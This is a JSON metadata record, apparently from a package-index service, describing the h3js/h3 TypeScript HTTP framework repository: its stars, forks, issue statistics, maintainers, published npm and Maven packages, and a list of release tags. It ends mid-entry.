{"id":372073,"url":"https://github.com/h3js/h3","last_synced_at":"2026-05-17T07:10:09.253Z","repository":{"id":37014622,"uuid":"313641207","full_name":"h3js/h3","owner":"h3js","description":"⚡️ Minimal H(TTP) framework built for high performance and portability ","archived":false,"fork":false,"pushed_at":"2026-05-05T14:25:00.000Z","size":7297,"stargazers_count":5322,"open_issues_count":65,"forks_count":321,"subscribers_count":17,"default_branch":"main","last_synced_at":"2026-05-12T12:35:29.112Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://h3.dev","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/h3js.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2020-11-17T14:15:44.000Z","updated_at":"2026-05-11T14:06:49.000Z","dependencies_parsed_at":"2023-01-17T13:16:03.684Z","dependency_job_id":"871f8abb-7a55-4167-a09a-d8b9ef6b8b78","html_url":"https://github.com/h3js/h3","commit_stats":{"total_commits":487,"total_committers":42,"mean_commits":"11.595238095238095","dds":0.5749486652977412,"last_synced_commit":"5f503c23286e431a249bf379b6bb779d62e71059"},"previous_names":["nuxt-contrib/h2","h3js/h3"],"tags_count":154,"template":false,"template_full_name":null,"purl":"pkg:github/h3js/h3","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/h3js","download_url":"https://codeload.github.com/h3js/h3/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33055989,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-13T13:14:54.681Z","status":"online","status_checked_at":"2026-05-15T02:00:06.351Z","response_time":103,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"owner":{"login":"h3js","name":"H3","uuid":"208435796","kind":"organization","description":"H(ttp) Tools 💛 for JavaScript","email":null,"website":"https://h3.dev","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/208435796?v=4","repositories_count":1,"last_synced_at":"2025-04-22T10:12:20.730Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/h3js","funding_links":[],"total_stars":547,"followers":43,"following":0,"created_at":"2025-04-22T10:12:20.752Z","updated_at":"2025-04-22T10:12:20.752Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/h3js","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/h3js/repositories"},"packages":[{"id":14140213,"name":"org.mvnpm:h3","ecosystem":"maven","description":"Minimal H(TTP) framework built for high performance and portability.","homepage":"https://h3.dev","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/h3js/h3","keywords_array":[],"namespace":"org.mvnpm","versions_count":4,"first_release_published_at":"2026-03-23T19:54:11.000Z","latest_release_published_at":"2026-04-02T18:10:11.000Z","latest_release_number":"1.15.11","last_synced_at":"2026-05-12T14:10:04.178Z","created_at":"2026-03-28T04:30:22.264Z","updated_at":"2026-05-12T14:10:04.178Z","registry_url":"https://central.sonatype.com/artifact/org.mvnpm/h3/","install_command":null,"documentation_url":"https://appdoc.app/artifact/org.mvnpm/h3/","metadata":{},"repo_metadata":{},"repo_metadata_updated_at":"2026-03-28T04:30:24.898Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":29.673509187807873,"dependent_packages_count":42.45229214719405,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":36.06290066750096},"purl":"pkg:maven/org.mvnpm/h3","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.mvnpm:h3","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.mvnpm:h3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.mvnpm:h3/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.mvnpm:h3/codemeta","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://repo.maven.apache.org/maven2","ecosystem":"maven","default":true,"packages_count":606284,"maintainers_count":0,"namespaces_count":79339,"keywords_count":0,"github":"maven-central","metadata":{"funded_packages_count":39644},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2026-04-03T06:29:38.544Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},{"id":14099442,"name":"@depup/h3","ecosystem":"npm","description":"Minimal H(TTP) framework built for high performance and portability. (with updated dependencies)","homepage":"https://h3.dev","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/h3js/h3","keywords_array":["h3","depup","updated-dependencies","security","latest","patched"],"namespace":"depup","versions_count":4,"first_release_published_at":"2026-03-20T00:35:17.941Z","latest_release_published_at":"2026-03-27T04:52:08.144Z","latest_release_number":"2.0.1-rc.20-depup.0","last_synced_at":"2026-05-12T14:10:06.740Z","created_at":"2026-03-23T00:11:07.814Z","updated_at":"2026-05-12T14:10:06.740Z","registry_url":"https://www.npmjs.com/package/@depup/h3","install_command":"npm install @depup/h3","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.0.1-rc.20-depup.0"}},"repo_metadata":{"id":37014622,"uuid":"313641207","full_name":"h3js/h3","owner":"h3js","description":"⚡️ Minimal H(TTP) framework built for high performance and portability ","archived":false,"fork":false,"pushed_at":"2026-04-01T17:07:24.000Z","size":7365,"stargazers_count":5291,"open_issues_count":58,"forks_count":315,"subscribers_count":17,"default_branch":"main","last_synced_at":"2026-04-12T06:31:52.506Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://h3.dev","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/h3js.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","dco":null,"cla":null}},"created_at":"2020-11-17T14:15:44.000Z","updated_at":"2026-04-11T19:54:10.000Z","dependencies_parsed_at":"2023-01-17T13:16:03.684Z","dependency_job_id":"871f8abb-7a55-4167-a09a-d8b9ef6b8b78","html_url":"https://github.com/h3js/h3","commit_stats":{"total_commits":487,"total_committers":42,"mean_commits":"11.595238095238095","dds":0.5749486652977412,"last_synced_commit":"5f503c23286e431a249bf379b6bb779d62e71059"},"previous_names":["nuxt-contrib/h2","h3js/h3"],"tags_count":152,"template":false,"template_full_name":null,"purl":"pkg:github/h3js/h3","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/h3js","download_url":"https://codeload.github.com/h3js/h3/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":31875635,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-15T15:24:51.572Z","status":"online","status_checked_at":"2026-04-16T02:00:06.042Z","response_time":69,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"tags":[]},"repo_metadata_updated_at":"2026-04-17T14:26:27.813Z","dependent_packages_count":0,"downloads":434,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":22.356192877460796,"dependent_packages_count":32.23715913671932,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":27.296676007090056},"purl":"pkg:npm/%40depup/h3","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@depup/h3","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@depup/h3","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@depup/h3/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-03-22T07:06:02.559Z","issues_count":60,"pull_requests_count":204,"avg_time_to_close_issue":10703419.0,"avg_time_to_close_pull_request":1472800.7115384615,"issues_closed_count":27,"pull_requests_closed_count":156,"pull_request_authors_count":48,"issue_authors_count":41,"avg_comments_per_issue":1.7333333333333334,"avg_comments_per_pull_request":1.5,"merged_pull_requests_count":131,"bot_issues_count":0,"bot_pull_requests_count":8,"past_year_issues_count":54,"past_year_pull_requests_count":192,"past_year_avg_time_to_close_issue":894267.0,"past_year_avg_time_to_close_pull_request":278263.6875,"past_year_issues_closed_count":22,"past_year_pull_requests_closed_count":144,"past_year_pull_request_authors_count":43,"past_year_issue_authors_count":37,"past_year_avg_comments_per_issue":1.3333333333333333,"past_year_avg_comments_per_pull_request":1.4635416666666667,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":4,"past_year_merged_pull_requests_count":126,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/h3js%2Fh3/issues","maintainers":[{"login":"pi0","count":70,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"},{"login":"kricsleo","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kricsleo"},{"login":"productdevbook","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/productdevbook"},{"login":"sandros94","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sandros94"},{"login":"danielroe","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"}],"active_maintainers":[{"login":"pi0","count":69,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pi0"},{"login":"kricsleo","count":28,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kricsleo"},{"login":"productdevbook","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/productdevbook"},{"login":"sandros94","count":8,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/sandros94"},{"login":"danielroe","count":3,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/danielroe"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@depup%2Fh3/codemeta","maintainers":[{"uuid":"chiefmikey","login":"chiefmikey","name":null,"email":"wolfemikl@gmail.com","url":null,"packages_count":2064,"html_url":"https://www.npmjs.com/~chiefmikey","role":null,"created_at":"2026-03-23T00:11:11.508Z","updated_at":"2026-03-23T00:11:11.508Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/chiefmikey/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5622280,"maintainers_count":1192646,"namespaces_count":373614,"keywords_count":0,"github":"npm","metadata":{"funded_packages_count":166557},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-04-03T05:46:01.652Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":7997500,"name":"h3-nightly","ecosystem":"npm","description":"Minimal H(TTP) framework built for high performance and portability.","homepage":"https://h3.dev","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/h3js/h3","keywords_array":[],"namespace":null,"versions_count":606,"first_release_published_at":"2023-07-27T15:48:26.425Z","latest_release_published_at":"2026-04-01T17:07:29.930Z","latest_release_number":"1.15.11","last_synced_at":"2026-05-12T14:10:15.802Z","created_at":"2023-07-27T15:50:12.703Z","updated_at":"2026-05-12T14:10:15.803Z","registry_url":"https://www.npmjs.com/package/h3-nightly","install_command":"npm install h3-nightly","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"1x":"1.15.11","latest":"2.0.1-rc.22"}},"repo_metadata":{"uuid":"313641207","full_name":"unjs/h3","owner":"unjs","description":"⚡️ Minimal H(TTP) framework built for high performance and portability ","archived":false,"fork":false,"pushed_at":"2023-12-09T14:17:19.000Z","size":2190,"stargazers_count":2489,"open_issues_count":40,"forks_count":123,"subscribers_count":12,"default_branch":"main","last_synced_at":"2023-12-18T23:09:30.503Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/unjs.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2020-11-17T14:15:44.000Z","updated_at":"2023-12-18T19:01:52.000Z","dependencies_parsed_at":"2023-01-17T13:16:03.684Z","dependency_job_id":"871f8abb-7a55-4167-a09a-d8b9ef6b8b78","html_url":"https://github.com/unjs/h3","commit_stats":{"total_commits":487,"total_committers":42,"mean_commits":"11.595238095238095","dds":0.5749486652977412,"last_synced_commit":"5f503c23286e431a249bf379b6bb779d62e71059"},"previous_names":["nuxt-contrib/h2"],"tags_count":104,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs","download_url":"https://codeload.github.com/unjs/h3/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":176978674,"owners_count":10476810,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"unjs","name":"UnJS","uuid":"80154025","kind":"organization","description":"Unified JavaScript Tools","email":"hi@unjs.io","website":"https://unjs.io","location":null,"twitter":"unjsio","company":null,"icon_url":"https://avatars.githubusercontent.com/u/80154025?v=4","repositories_count":70,"last_synced_at":"2023-04-09T10:31:56.670Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/unjs","created_at":"2022-11-02T16:24:27.101Z","updated_at":"2023-04-09T10:31:57.063Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/unjs/repositories"},"tags":[{"name":"v1.8.2","sha":"01fab41bcc3681806a8101ddc12f643c759e2be5","kind":"commit","published_at":"2023-09-26T17:32:56.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.2/manifests"},{"name":"v1.8.1","sha":"ba11c049a4e9a0b25a354c1810de77500285ca87","kind":"commit","published_at":"2023-08-26T20:55:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.1/manifests"},{"name":"v1.8.0","sha":"7cebec244d8fddf3df8cea96f93fb92b846a71bc","kind":"commit","published_at":"2023-08-14T22:50:40.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0/manifests"},{"name":"v1.8.0-rc.3","sha":"67055fb993dd9bbad54bc791786bd4272537f4f7","kind":"tag","published_at":"2023-08-07T23:54:47.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.3","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.3/manifests"},{"name":"v1.8.0-rc.2","sha":"ba42c8225d7c2af948a20327dfb3a5bd82db2421","kind":"tag","published_at":"2023-08-02T12:53:54.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.2/manifests"},{"name":"v1.8.0-rc.1","sha":"cbb3198b12a043869fcb3ff8ca1d5a363606fa3c","kind":"tag","published_at":"2023-07-31T11:45:13.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.1/manifests"},{"name":"v1.8.0-rc.0","sha":"21d0ce7d547be16cf37bdd1f968cb482e141e0ed","kind":"commit","published_at":"2023-07-31T10:27:34.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.8.0-rc.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.8.0-rc.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.8.0-rc.0/manifests"},{"name":"v1.7.1","sha":"7b5d4df6c59452f01d3a71dc31166a8edae310a8","kind":"commit","published_at":"2023-06-28T10:41:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.7.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"23b3f6b08358efc3555902145475d6daedea16f2","kind":"commit","published_at":"2023-06-20T22:01:46.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.7.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.7.0/manifests"},{"name":"v1.6.6","sha":"981c89f4485457f3aa49cf61deb2308a0c0bb2e8","kind":"commit","published_at":"2023-05-15T10:58:25.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.6","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.6","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.6/manifests"},{"name":"v1.6.5","sha":"e437f55af27dc6206d6925406a7747c77f21f995","kind":"commit","published_at":"2023-05-05T08:32:50.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.5","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.5/manifests"},{"name":"v1.6.4","sha":"8a92bcd3f53b7da4dfd74e47f43a01d9ca28c10d","kind":"commit","published_at":"2023-03-28T11:08:57.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.4","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.4/manifests"},{"name":"v1.6.3","sha":"2af071bc8852f878f3b9054aec8f8b40d3088edf","kind":"commit","published_at":"2023-03-28T09:39:24.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.3","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.3/manifests"},{"name":"v1.6.2","sha":"e885dc107ef89a02de88bf476b4afae9f1d2ccc7","kind":"commit","published_at":"2023-03-15T22:18:52.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.2","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.2/manifests"},{"name":"v1.6.1","sha":"2a2bb50e21ba8ea6497e3ee0cca6d3f8c71570c5","kind":"commit","published_at":"2023-03-15T17:12:28.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.1","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"ff71ebaf543d2107d808453fd9efa143d92625ad","kind":"commit","published_at":"2023-03-10T16:54:49.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.6.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.6.0/manifests"},{"name":"v1.5.0","sha":"abe7ddbdd7219d4f9dc322c6f2e735d1c6796f57","kind":"tag","published_at":"2023-02-16T23:50:53.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.5.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.5.0/manifests"},{"name":"v1.4.0","sha":"6345e1e115107575f385e69c192360c14ba25c98","kind":"tag","published_at":"2023-02-08T14:11:48.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.4.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.4.0/manifests"},{"name":"v1.3.0","sha":"bfcb7079ce95a7a6c305cf9d5d51238f242a2052","kind":"tag","published_at":"2023-02-08T11:37:28.000Z","download_url":"https://codeload.github.com/unjs/h3/tar.gz/v1.3.0","html_url":"https://github.com/unjs/h3/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/unjs%2Fh3/tag